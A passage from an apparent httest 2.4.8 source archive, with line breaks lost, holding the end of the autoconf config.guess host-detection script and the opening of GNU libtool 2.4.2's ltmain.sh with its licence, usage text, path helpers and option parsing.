defined (__acorn) && defined (__unix) printf ("arm-acorn-riscix\n"); exit (0); #endif #if defined (hp300) && !defined (hpux) printf ("m68k-hp-bsd\n"); exit (0); #endif #if defined (NeXT) #if !defined (__ARCHITECTURE__) #define __ARCHITECTURE__ "m68k" #endif int version; version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; if (version < 4) printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); else printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); exit (0); #endif #if defined (MULTIMAX) || defined (n16) #if defined (UMAXV) printf ("ns32k-encore-sysv\n"); exit (0); #else #if defined (CMU) printf ("ns32k-encore-mach\n"); exit (0); #else printf ("ns32k-encore-bsd\n"); exit (0); #endif #endif #endif #if defined (__386BSD__) printf ("i386-pc-bsd\n"); exit (0); #endif #if defined (sequent) #if defined (i386) printf ("i386-sequent-dynix\n"); exit (0); #endif #if defined (ns32000) printf ("ns32k-sequent-dynix\n"); exit (0); #endif #endif #if defined (_SEQUENT_) struct utsname un; uname(&un); if (strncmp(un.version, "V2", 2) == 0) { printf ("i386-sequent-ptx2\n"); exit (0); } if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ printf ("i386-sequent-ptx1\n"); exit (0); } printf ("i386-sequent-ptx\n"); exit (0); #endif #if defined (vax) # if !defined (ultrix) # include # if defined (BSD) # if BSD == 43 printf ("vax-dec-bsd4.3\n"); exit (0); # else # if BSD == 199006 printf ("vax-dec-bsd4.3reno\n"); exit (0); # else printf ("vax-dec-bsd\n"); exit (0); # endif # endif # else printf ("vax-dec-bsd\n"); exit (0); # endif # else printf ("vax-dec-ultrix\n"); exit (0); # endif #endif #if defined (alliant) && defined (i860) printf ("i860-alliant-bsd\n"); exit (0); #endif exit (1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } # Apollos put the system type in the environment. test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; } # Convex versions that predate uname can use getsysinfo(1) if [ -x /usr/convex/getsysinfo ] then case `getsysinfo -f cpu_type` in c1*) echo c1-convex-bsd exit ;; c2*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; c34*) echo c34-convex-bsd exit ;; c38*) echo c38-convex-bsd exit ;; c4*) echo c4-convex-bsd exit ;; esac fi cat >&2 < in order to provide the needed information to handle your system. config.guess timestamp = $timestamp uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` /bin/uname -X = `(/bin/uname -X) 2>/dev/null` hostinfo = `(hostinfo) 2>/dev/null` /bin/universe = `(/bin/universe) 2>/dev/null` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` /bin/arch = `(/bin/arch) 2>/dev/null` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` UNAME_MACHINE = ${UNAME_MACHINE} UNAME_RELEASE = ${UNAME_RELEASE} UNAME_SYSTEM = ${UNAME_SYSTEM} UNAME_VERSION = ${UNAME_VERSION} EOF exit 1 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: httest-2.4.8/config/ltmain.sh0000644000175100017510000105204012141535523013053 00000000000000 # libtool (GNU libtool) 2.4.2 # Written by Gordon Matzigkeit , 1996 # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, 2006, # 2007, 2008, 2009, 2010, 2011 Free Software Foundation, Inc. # This is free software; see the source for copying conditions. There is NO # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # GNU Libtool is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # As a special exception to the GNU General Public License, # if you distribute this file as part of a program or library that # is built using GNU Libtool, you may include this file under the # same distribution terms that you use for the rest of that program. # # GNU Libtool is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Libtool; see the file COPYING. If not, a copy # can be downloaded from http://www.gnu.org/licenses/gpl.html, # or obtained by writing to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Usage: $progname [OPTION]... [MODE-ARG]... # # Provide generalized library-building support services. # # --config show all configuration variables # --debug enable verbose shell tracing # -n, --dry-run display commands without modifying any files # --features display basic configuration information and exit # --mode=MODE use operation mode MODE # --preserve-dup-deps don't remove duplicate dependency libraries # --quiet, --silent don't print informational messages # --no-quiet, --no-silent # print informational messages (default) # --no-warn don't display warning messages # --tag=TAG use configuration variables from tag TAG # -v, --verbose print more informational messages than default # --no-verbose don't print the extra informational messages # --version print version information # -h, --help, --help-all print short, long, or detailed help message # # MODE must be one of the following: # # clean remove files from the build directory # compile compile a source file into a libtool object # execute automatically set library path, then run a program # finish complete the installation of libtool libraries # install install libraries or executables # link create a library or an executable # uninstall remove libraries from an installed directory # # MODE-ARGS vary depending on the MODE. When passed as first option, # `--mode=MODE' may be abbreviated as `MODE' or a unique abbreviation of that. # Try `$progname --help --mode=MODE' for a more detailed description of MODE. # # When reporting a bug, please describe a test case to reproduce it and # include the following information: # # host-triplet: $host # shell: $SHELL # compiler: $LTCC # compiler flags: $LTCFLAGS # linker: $LD (gnu? $with_gnu_ld) # $progname: (GNU libtool) 2.4.2 Debian-2.4.2-1ubuntu2 # automake: $automake_version # autoconf: $autoconf_version # # Report bugs to . # GNU libtool home page: . # General help using GNU software: . PROGRAM=libtool PACKAGE=libtool VERSION="2.4.2 Debian-2.4.2-1ubuntu2" TIMESTAMP="" package_revision=1.3337 # Be Bourne compatible if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac fi BIN_SH=xpg4; export BIN_SH # for Tru64 DUALCASE=1; export DUALCASE # for MKS sh # A function that is used when there is no print builtin or printf. func_fallback_echo () { eval 'cat <<_LTECHO_EOF $1 _LTECHO_EOF' } # NLS nuisances: We save the old values to restore during execute mode. lt_user_locale= lt_safe_locale= for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES do eval "if test \"\${$lt_var+set}\" = set; then save_$lt_var=\$$lt_var $lt_var=C export $lt_var lt_user_locale=\"$lt_var=\\\$save_\$lt_var; \$lt_user_locale\" lt_safe_locale=\"$lt_var=C; \$lt_safe_locale\" fi" done LC_ALL=C LANGUAGE=C export LANGUAGE LC_ALL $lt_unset CDPATH # Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh # is ksh but when the shell is invoked as "sh" and the current value of # the _XPG environment variable is not equal to 1 (one), the special # positional parameter $0, within a function call, is the name of the # function. progpath="$0" : ${CP="cp -f"} test "${ECHO+set}" = set || ECHO=${as_echo-'printf %s\n'} : ${MAKE="make"} : ${MKDIR="mkdir"} : ${MV="mv -f"} : ${RM="rm -f"} : ${SHELL="${CONFIG_SHELL-/bin/sh}"} : ${Xsed="$SED -e 1s/^X//"} # Global variables: EXIT_SUCCESS=0 EXIT_FAILURE=1 EXIT_MISMATCH=63 # $? = 63 is used to indicate version mismatch to missing. EXIT_SKIP=77 # $? = 77 is used to indicate a skipped test to automake. exit_status=$EXIT_SUCCESS # Make sure IFS has a sensible default lt_nl=' ' IFS=" $lt_nl" dirname="s,/[^/]*$,," basename="s,^.*/,," # func_dirname file append nondir_replacement # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. func_dirname () { func_dirname_result=`$ECHO "${1}" | $SED "$dirname"` if test "X$func_dirname_result" = "X${1}"; then func_dirname_result="${3}" else func_dirname_result="$func_dirname_result${2}" fi } # func_dirname may be replaced by extended shell implementation # func_basename file func_basename () { func_basename_result=`$ECHO "${1}" | $SED "$basename"` } # func_basename may be replaced by extended shell implementation # func_dirname_and_basename file append nondir_replacement # perform func_basename and func_dirname in a single function # call: # dirname: Compute the dirname of FILE. If nonempty, # add APPEND to the result, otherwise set result # to NONDIR_REPLACEMENT. # value returned in "$func_dirname_result" # basename: Compute filename of FILE. # value retuned in "$func_basename_result" # Implementation must be kept synchronized with func_dirname # and func_basename. For efficiency, we do not delegate to # those functions but instead duplicate the functionality here. func_dirname_and_basename () { # Extract subdirectory from the argument. func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"` if test "X$func_dirname_result" = "X${1}"; then func_dirname_result="${3}" else func_dirname_result="$func_dirname_result${2}" fi func_basename_result=`$ECHO "${1}" | $SED -e "$basename"` } # func_dirname_and_basename may be replaced by extended shell implementation # func_stripname prefix suffix name # strip PREFIX and SUFFIX off of NAME. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). # func_strip_suffix prefix name func_stripname () { case ${2} in .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;; *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;; esac } # func_stripname may be replaced by extended shell implementation # These SED scripts presuppose an absolute path with a trailing slash. pathcar='s,^/\([^/]*\).*$,\1,' pathcdr='s,^/[^/]*,,' removedotparts=':dotsl s@/\./@/@g t dotsl s,/\.$,/,' collapseslashes='s@/\{1,\}@/@g' finalslash='s,/*$,/,' # func_normal_abspath PATH # Remove doubled-up and trailing slashes, "." path components, # and cancel out any ".." path components in PATH after making # it an absolute path. # value returned in "$func_normal_abspath_result" func_normal_abspath () { # Start from root dir and reassemble the path. func_normal_abspath_result= func_normal_abspath_tpath=$1 func_normal_abspath_altnamespace= case $func_normal_abspath_tpath in "") # Empty path, that just means $cwd. func_stripname '' '/' "`pwd`" func_normal_abspath_result=$func_stripname_result return ;; # The next three entries are used to spot a run of precisely # two leading slashes without using negated character classes; # we take advantage of case's first-match behaviour. ///*) # Unusual form of absolute path, do nothing. ;; //*) # Not necessarily an ordinary path; POSIX reserves leading '//' # and for example Cygwin uses it to access remote file shares # over CIFS/SMB, so we conserve a leading double slash if found. func_normal_abspath_altnamespace=/ ;; /*) # Absolute path, do nothing. ;; *) # Relative path, prepend $cwd. func_normal_abspath_tpath=`pwd`/$func_normal_abspath_tpath ;; esac # Cancel out all the simple stuff to save iterations. We also want # the path to end with a slash for ease of parsing, so make sure # there is one (and only one) here. func_normal_abspath_tpath=`$ECHO "$func_normal_abspath_tpath" | $SED \ -e "$removedotparts" -e "$collapseslashes" -e "$finalslash"` while :; do # Processed it all yet? if test "$func_normal_abspath_tpath" = / ; then # If we ascended to the root using ".." the result may be empty now. if test -z "$func_normal_abspath_result" ; then func_normal_abspath_result=/ fi break fi func_normal_abspath_tcomponent=`$ECHO "$func_normal_abspath_tpath" | $SED \ -e "$pathcar"` func_normal_abspath_tpath=`$ECHO "$func_normal_abspath_tpath" | $SED \ -e "$pathcdr"` # Figure out what to do with it case $func_normal_abspath_tcomponent in "") # Trailing empty path component, ignore it. ;; ..) # Parent dir; strip last assembled component from result. func_dirname "$func_normal_abspath_result" func_normal_abspath_result=$func_dirname_result ;; *) # Actual path component, append it. func_normal_abspath_result=$func_normal_abspath_result/$func_normal_abspath_tcomponent ;; esac done # Restore leading double-slash if one was found on entry. func_normal_abspath_result=$func_normal_abspath_altnamespace$func_normal_abspath_result } # func_relative_path SRCDIR DSTDIR # generates a relative path from SRCDIR to DSTDIR, with a trailing # slash if non-empty, suitable for immediately appending a filename # without needing to append a separator. # value returned in "$func_relative_path_result" func_relative_path () { func_relative_path_result= func_normal_abspath "$1" func_relative_path_tlibdir=$func_normal_abspath_result func_normal_abspath "$2" func_relative_path_tbindir=$func_normal_abspath_result # Ascend the tree starting from libdir while :; do # check if we have found a prefix of bindir case $func_relative_path_tbindir in $func_relative_path_tlibdir) # found an exact match func_relative_path_tcancelled= break ;; $func_relative_path_tlibdir*) # found a matching prefix func_stripname "$func_relative_path_tlibdir" '' "$func_relative_path_tbindir" func_relative_path_tcancelled=$func_stripname_result if test -z "$func_relative_path_result"; then func_relative_path_result=. fi break ;; *) func_dirname $func_relative_path_tlibdir func_relative_path_tlibdir=${func_dirname_result} if test "x$func_relative_path_tlibdir" = x ; then # Have to descend all the way to the root! func_relative_path_result=../$func_relative_path_result func_relative_path_tcancelled=$func_relative_path_tbindir break fi func_relative_path_result=../$func_relative_path_result ;; esac done # Now calculate path; take care to avoid doubling-up slashes. func_stripname '' '/' "$func_relative_path_result" func_relative_path_result=$func_stripname_result func_stripname '/' '/' "$func_relative_path_tcancelled" if test "x$func_stripname_result" != x ; then func_relative_path_result=${func_relative_path_result}/${func_stripname_result} fi # Normalisation. If bindir is libdir, return empty string, # else relative path ending with a slash; either way, target # file name can be directly appended. if test ! -z "$func_relative_path_result"; then func_stripname './' '' "$func_relative_path_result/" func_relative_path_result=$func_stripname_result fi } # The name of this program: func_dirname_and_basename "$progpath" progname=$func_basename_result # Make sure we have an absolute path for reexecution: case $progpath in [\\/]*|[A-Za-z]:\\*) ;; *[\\/]*) progdir=$func_dirname_result progdir=`cd "$progdir" && pwd` progpath="$progdir/$progname" ;; *) save_IFS="$IFS" IFS=${PATH_SEPARATOR-:} for progdir in $PATH; do IFS="$save_IFS" test -x "$progdir/$progname" && break done IFS="$save_IFS" test -n "$progdir" || progdir=`pwd` progpath="$progdir/$progname" ;; esac # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. Xsed="${SED}"' -e 1s/^X//' sed_quote_subst='s/\([`"$\\]\)/\\\1/g' # Same as above, but do not quote variable references. double_quote_subst='s/\(["`\\]\)/\\\1/g' # Sed substitution that turns a string into a regex matching for the # string literally. sed_make_literal_regex='s,[].[^$\\*\/],\\&,g' # Sed substitution that converts a w32 file name or path # which contains forward slashes, into one that contains # (escaped) backslashes. A very naive implementation. lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g' # Re-`\' parameter expansions in output of double_quote_subst that were # `\'-ed in input to the same. If an odd number of `\' preceded a '$' # in input to double_quote_subst, that '$' was protected from expansion. # Since each input `\' is now two `\'s, look for any number of runs of # four `\'s followed by two `\'s and then a '$'. `\' that '$'. bs='\\' bs2='\\\\' bs4='\\\\\\\\' dollar='\$' sed_double_backslash="\ s/$bs4/&\\ /g s/^$bs2$dollar/$bs&/ s/\\([^$bs]\\)$bs2$dollar/\\1$bs2$bs$dollar/g s/\n//g" # Standard options: opt_dry_run=false opt_help=false opt_quiet=false opt_verbose=false opt_warning=: # func_echo arg... # Echo program name prefixed message, along with the current mode # name if it has been set yet. func_echo () { $ECHO "$progname: ${opt_mode+$opt_mode: }$*" } # func_verbose arg... # Echo program name prefixed message in verbose mode only. func_verbose () { $opt_verbose && func_echo ${1+"$@"} # A bug in bash halts the script if the last line of a function # fails when set -e is in force, so we need another command to # work around that: : } # func_echo_all arg... # Invoke $ECHO with all args, space-separated. func_echo_all () { $ECHO "$*" } # func_error arg... # Echo program name prefixed message to standard error. func_error () { $ECHO "$progname: ${opt_mode+$opt_mode: }"${1+"$@"} 1>&2 } # func_warning arg... # Echo program name prefixed warning message to standard error. func_warning () { $opt_warning && $ECHO "$progname: ${opt_mode+$opt_mode: }warning: "${1+"$@"} 1>&2 # bash bug again: : } # func_fatal_error arg... # Echo program name prefixed message to standard error, and exit. func_fatal_error () { func_error ${1+"$@"} exit $EXIT_FAILURE } # func_fatal_help arg... # Echo program name prefixed message to standard error, followed by # a help hint, and exit. func_fatal_help () { func_error ${1+"$@"} func_fatal_error "$help" } help="Try \`$progname --help' for more information." ## default # func_grep expression filename # Check whether EXPRESSION matches any line of FILENAME, without output. func_grep () { $GREP "$1" "$2" >/dev/null 2>&1 } # func_mkdir_p directory-path # Make sure the entire path to DIRECTORY-PATH is available. func_mkdir_p () { my_directory_path="$1" my_dir_list= if test -n "$my_directory_path" && test "$opt_dry_run" != ":"; then # Protect directory names starting with `-' case $my_directory_path in -*) my_directory_path="./$my_directory_path" ;; esac # While some portion of DIR does not yet exist... while test ! -d "$my_directory_path"; do # ...make a list in topmost first order. Use a colon delimited # list incase some portion of path contains whitespace. my_dir_list="$my_directory_path:$my_dir_list" # If the last portion added has no slash in it, the list is done case $my_directory_path in */*) ;; *) break ;; esac # ...otherwise throw away the child directory and loop my_directory_path=`$ECHO "$my_directory_path" | $SED -e "$dirname"` done my_dir_list=`$ECHO "$my_dir_list" | $SED 's,:*$,,'` save_mkdir_p_IFS="$IFS"; IFS=':' for my_dir in $my_dir_list; do IFS="$save_mkdir_p_IFS" # mkdir can fail with a `File exist' error if two processes # try to create one of the directories concurrently. Don't # stop in that case! $MKDIR "$my_dir" 2>/dev/null || : done IFS="$save_mkdir_p_IFS" # Bail out if we (or some other process) failed to create a directory. test -d "$my_directory_path" || \ func_fatal_error "Failed to create \`$1'" fi } # func_mktempdir [string] # Make a temporary directory that won't clash with other running # libtool processes, and avoids race conditions if possible. If # given, STRING is the basename for that directory. func_mktempdir () { my_template="${TMPDIR-/tmp}/${1-$progname}" if test "$opt_dry_run" = ":"; then # Return a directory name, but don't create it in dry-run mode my_tmpdir="${my_template}-$$" else # If mktemp works, use that first and foremost my_tmpdir=`mktemp -d "${my_template}-XXXXXXXX" 2>/dev/null` if test ! -d "$my_tmpdir"; then # Failing that, at least try and use $RANDOM to avoid a race my_tmpdir="${my_template}-${RANDOM-0}$$" save_mktempdir_umask=`umask` umask 0077 $MKDIR "$my_tmpdir" umask $save_mktempdir_umask fi # If we're not in dry-run mode, bomb out on failure test -d "$my_tmpdir" || \ func_fatal_error "cannot create temporary directory \`$my_tmpdir'" fi $ECHO "$my_tmpdir" } # func_quote_for_eval arg # Aesthetically quote ARG to be evaled later. # This function returns two values: FUNC_QUOTE_FOR_EVAL_RESULT # is double-quoted, suitable for a subsequent eval, whereas # FUNC_QUOTE_FOR_EVAL_UNQUOTED_RESULT has merely all characters # which are still active within double quotes backslashified. func_quote_for_eval () { case $1 in *[\\\`\"\$]*) func_quote_for_eval_unquoted_result=`$ECHO "$1" | $SED "$sed_quote_subst"` ;; *) func_quote_for_eval_unquoted_result="$1" ;; esac case $func_quote_for_eval_unquoted_result in # Double-quote args containing shell metacharacters to delay # word splitting, command substitution and and variable # expansion for a subsequent eval. # Many Bourne shells cannot handle close brackets correctly # in scan sets, so we specify it separately. *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") func_quote_for_eval_result="\"$func_quote_for_eval_unquoted_result\"" ;; *) func_quote_for_eval_result="$func_quote_for_eval_unquoted_result" esac } # func_quote_for_expand arg # Aesthetically quote ARG to be evaled later; same as above, # but do not quote variable references. func_quote_for_expand () { case $1 in *[\\\`\"]*) my_arg=`$ECHO "$1" | $SED \ -e "$double_quote_subst" -e "$sed_double_backslash"` ;; *) my_arg="$1" ;; esac case $my_arg in # Double-quote args containing shell metacharacters to delay # word splitting and command substitution for a subsequent eval. # Many Bourne shells cannot handle close brackets correctly # in scan sets, so we specify it separately. *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") my_arg="\"$my_arg\"" ;; esac func_quote_for_expand_result="$my_arg" } # func_show_eval cmd [fail_exp] # Unless opt_silent is true, then output CMD. Then, if opt_dryrun is # not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP # is given, then evaluate it. func_show_eval () { my_cmd="$1" my_fail_exp="${2-:}" ${opt_silent-false} || { func_quote_for_expand "$my_cmd" eval "func_echo $func_quote_for_expand_result" } if ${opt_dry_run-false}; then :; else eval "$my_cmd" my_status=$? if test "$my_status" -eq 0; then :; else eval "(exit $my_status); $my_fail_exp" fi fi } # func_show_eval_locale cmd [fail_exp] # Unless opt_silent is true, then output CMD. Then, if opt_dryrun is # not true, evaluate CMD. If the evaluation of CMD fails, and FAIL_EXP # is given, then evaluate it. Use the saved locale for evaluation. func_show_eval_locale () { my_cmd="$1" my_fail_exp="${2-:}" ${opt_silent-false} || { func_quote_for_expand "$my_cmd" eval "func_echo $func_quote_for_expand_result" } if ${opt_dry_run-false}; then :; else eval "$lt_user_locale $my_cmd" my_status=$? eval "$lt_safe_locale" if test "$my_status" -eq 0; then :; else eval "(exit $my_status); $my_fail_exp" fi fi } # func_tr_sh # Turn $1 into a string suitable for a shell variable name. # Result is stored in $func_tr_sh_result. All characters # not in the set a-zA-Z0-9_ are replaced with '_'. Further, # if $1 begins with a digit, a '_' is prepended as well. func_tr_sh () { case $1 in [0-9]* | *[!a-zA-Z0-9_]*) func_tr_sh_result=`$ECHO "$1" | $SED 's/^\([0-9]\)/_\1/; s/[^a-zA-Z0-9_]/_/g'` ;; * ) func_tr_sh_result=$1 ;; esac } # func_version # Echo version message to standard output and exit. func_version () { $opt_debug $SED -n '/(C)/!b go :more /\./!{ N s/\n# / / b more } :go /^# '$PROGRAM' (GNU /,/# warranty; / { s/^# // s/^# *$// s/\((C)\)[ 0-9,-]*\( [1-9][0-9]*\)/\1\2/ p }' < "$progpath" exit $? } # func_usage # Echo short help message to standard output and exit. func_usage () { $opt_debug $SED -n '/^# Usage:/,/^# *.*--help/ { s/^# // s/^# *$// s/\$progname/'$progname'/ p }' < "$progpath" echo $ECHO "run \`$progname --help | more' for full usage" exit $? } # func_help [NOEXIT] # Echo long help message to standard output and exit, # unless 'noexit' is passed as argument. func_help () { $opt_debug $SED -n '/^# Usage:/,/# Report bugs to/ { :print s/^# // s/^# *$// s*\$progname*'$progname'* s*\$host*'"$host"'* s*\$SHELL*'"$SHELL"'* s*\$LTCC*'"$LTCC"'* s*\$LTCFLAGS*'"$LTCFLAGS"'* s*\$LD*'"$LD"'* s/\$with_gnu_ld/'"$with_gnu_ld"'/ s/\$automake_version/'"`(${AUTOMAKE-automake} --version) 2>/dev/null |$SED 1q`"'/ s/\$autoconf_version/'"`(${AUTOCONF-autoconf} --version) 2>/dev/null |$SED 1q`"'/ p d } /^# .* home page:/b print /^# General help using/b print ' < "$progpath" ret=$? if test -z "$1"; then exit $ret fi } # func_missing_arg argname # Echo program name prefixed message to standard error and set global # exit_cmd. func_missing_arg () { $opt_debug func_error "missing argument for $1." exit_cmd=exit } # func_split_short_opt shortopt # Set func_split_short_opt_name and func_split_short_opt_arg shell # variables after splitting SHORTOPT after the 2nd character. func_split_short_opt () { my_sed_short_opt='1s/^\(..\).*$/\1/;q' my_sed_short_rest='1s/^..\(.*\)$/\1/;q' func_split_short_opt_name=`$ECHO "$1" | $SED "$my_sed_short_opt"` func_split_short_opt_arg=`$ECHO "$1" | $SED "$my_sed_short_rest"` } # func_split_short_opt may be replaced by extended shell implementation # func_split_long_opt longopt # Set func_split_long_opt_name and func_split_long_opt_arg shell # variables after splitting LONGOPT at the `=' sign. func_split_long_opt () { my_sed_long_opt='1s/^\(--[^=]*\)=.*/\1/;q' my_sed_long_arg='1s/^--[^=]*=//' func_split_long_opt_name=`$ECHO "$1" | $SED "$my_sed_long_opt"` func_split_long_opt_arg=`$ECHO "$1" | $SED "$my_sed_long_arg"` } # func_split_long_opt may be replaced by extended shell implementation exit_cmd=: magic="%%%MAGIC variable%%%" magic_exe="%%%MAGIC EXE variable%%%" # Global variables. nonopt= preserve_args= lo2o="s/\\.lo\$/.${objext}/" o2lo="s/\\.${objext}\$/.lo/" extracted_archives= extracted_serial=0 # If this variable is set in any of the actions, the command in it # will be execed at the end. This prevents here-documents from being # left over by shells. exec_cmd= # func_append var value # Append VALUE to the end of shell variable VAR. func_append () { eval "${1}=\$${1}\${2}" } # func_append may be replaced by extended shell implementation # func_append_quoted var value # Quote VALUE and append to the end of shell variable VAR, separated # by a space. func_append_quoted () { func_quote_for_eval "${2}" eval "${1}=\$${1}\\ \$func_quote_for_eval_result" } # func_append_quoted may be replaced by extended shell implementation # func_arith arithmetic-term... func_arith () { func_arith_result=`expr "${@}"` } # func_arith may be replaced by extended shell implementation # func_len string # STRING may not start with a hyphen. func_len () { func_len_result=`expr "${1}" : ".*" 2>/dev/null || echo $max_cmd_len` } # func_len may be replaced by extended shell implementation # func_lo2o object func_lo2o () { func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"` } # func_lo2o may be replaced by extended shell implementation # func_xform libobj-or-source func_xform () { func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'` } # func_xform may be replaced by extended shell implementation # func_fatal_configuration arg... # Echo program name prefixed message to standard error, followed by # a configuration failure hint, and exit. func_fatal_configuration () { func_error ${1+"$@"} func_error "See the $PACKAGE documentation for more information." func_fatal_error "Fatal configuration error." } # func_config # Display the configuration for all the tags in this script. func_config () { re_begincf='^# ### BEGIN LIBTOOL' re_endcf='^# ### END LIBTOOL' # Default configuration. $SED "1,/$re_begincf CONFIG/d;/$re_endcf CONFIG/,\$d" < "$progpath" # Now print the configurations for the tags. for tagname in $taglist; do $SED -n "/$re_begincf TAG CONFIG: $tagname\$/,/$re_endcf TAG CONFIG: $tagname\$/p" < "$progpath" done exit $? } # func_features # Display the features supported by this script. func_features () { echo "host: $host" if test "$build_libtool_libs" = yes; then echo "enable shared libraries" else echo "disable shared libraries" fi if test "$build_old_libs" = yes; then echo "enable static libraries" else echo "disable static libraries" fi exit $? } # func_enable_tag tagname # Verify that TAGNAME is valid, and either flag an error and exit, or # enable the TAGNAME tag. We also add TAGNAME to the global $taglist # variable here. func_enable_tag () { # Global variable: tagname="$1" re_begincf="^# ### BEGIN LIBTOOL TAG CONFIG: $tagname\$" re_endcf="^# ### END LIBTOOL TAG CONFIG: $tagname\$" sed_extractcf="/$re_begincf/,/$re_endcf/p" # Validate tagname. case $tagname in *[!-_A-Za-z0-9,/]*) func_fatal_error "invalid tag name: $tagname" ;; esac # Don't test for the "default" C tag, as we know it's # there but not specially marked. case $tagname in CC) ;; *) if $GREP "$re_begincf" "$progpath" >/dev/null 2>&1; then taglist="$taglist $tagname" # Evaluate the configuration. Be careful to quote the path # and the sed script, to avoid splitting on whitespace, but # also don't use non-portable quotes within backquotes within # quotes we have to do it in 2 steps: extractedcf=`$SED -n -e "$sed_extractcf" < "$progpath"` eval "$extractedcf" else func_error "ignoring unknown tag $tagname" fi ;; esac } # func_check_version_match # Ensure that we are using m4 macros, and libtool script from the same # release of libtool. func_check_version_match () { if test "$package_revision" != "$macro_revision"; then if test "$VERSION" != "$macro_version"; then if test -z "$macro_version"; then cat >&2 <<_LT_EOF $progname: Version mismatch error. This is $PACKAGE $VERSION, but the $progname: definition of this LT_INIT comes from an older release. $progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION $progname: and run autoconf again. _LT_EOF else cat >&2 <<_LT_EOF $progname: Version mismatch error. This is $PACKAGE $VERSION, but the $progname: definition of this LT_INIT comes from $PACKAGE $macro_version. $progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION $progname: and run autoconf again. _LT_EOF fi else cat >&2 <<_LT_EOF $progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision, $progname: but the definition of this LT_INIT comes from revision $macro_revision. $progname: You should recreate aclocal.m4 with macros from revision $package_revision $progname: of $PACKAGE $VERSION and run autoconf again. _LT_EOF fi exit $EXIT_MISMATCH fi } # Shorthand for --mode=foo, only valid as the first argument case $1 in clean|clea|cle|cl) shift; set dummy --mode clean ${1+"$@"}; shift ;; compile|compil|compi|comp|com|co|c) shift; set dummy --mode compile ${1+"$@"}; shift ;; execute|execut|execu|exec|exe|ex|e) shift; set dummy --mode execute ${1+"$@"}; shift ;; finish|finis|fini|fin|fi|f) shift; set dummy --mode finish ${1+"$@"}; shift ;; install|instal|insta|inst|ins|in|i) shift; set dummy --mode install ${1+"$@"}; shift ;; link|lin|li|l) shift; set dummy --mode link ${1+"$@"}; shift ;; uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u) shift; set dummy --mode uninstall ${1+"$@"}; shift ;; esac # Option defaults: opt_debug=: opt_dry_run=false opt_config=false opt_preserve_dup_deps=false opt_features=false opt_finish=false opt_help=false opt_help_all=false opt_silent=: opt_warning=: opt_verbose=: opt_silent=false opt_verbose=false # Parse options once, thoroughly. This comes as soon as possible in the # script to make things like `--version' happen as quickly as we can. { # this just eases exit handling while test $# -gt 0; do opt="$1" shift case $opt in --debug|-x) opt_debug='set -x' func_echo "enabling shell trace mode" $opt_debug ;; --dry-run|--dryrun|-n) opt_dry_run=: ;; --config) opt_config=: func_config ;; --dlopen|-dlopen) optarg="$1" opt_dlopen="${opt_dlopen+$opt_dlopen }$optarg" shift ;; --preserve-dup-deps) opt_preserve_dup_deps=: ;; --features) opt_features=: func_features ;; --finish) opt_finish=: set dummy --mode finish ${1+"$@"}; shift ;; --help) opt_help=: ;; --help-all) opt_help_all=: opt_help=': help-all' ;; --mode) test $# = 0 && func_missing_arg $opt && break optarg="$1" opt_mode="$optarg" case $optarg in # Valid mode arguments: clean|compile|execute|finish|install|link|relink|uninstall) ;; # Catch anything else as an error *) func_error "invalid argument for $opt" exit_cmd=exit break ;; esac shift ;; --no-silent|--no-quiet) 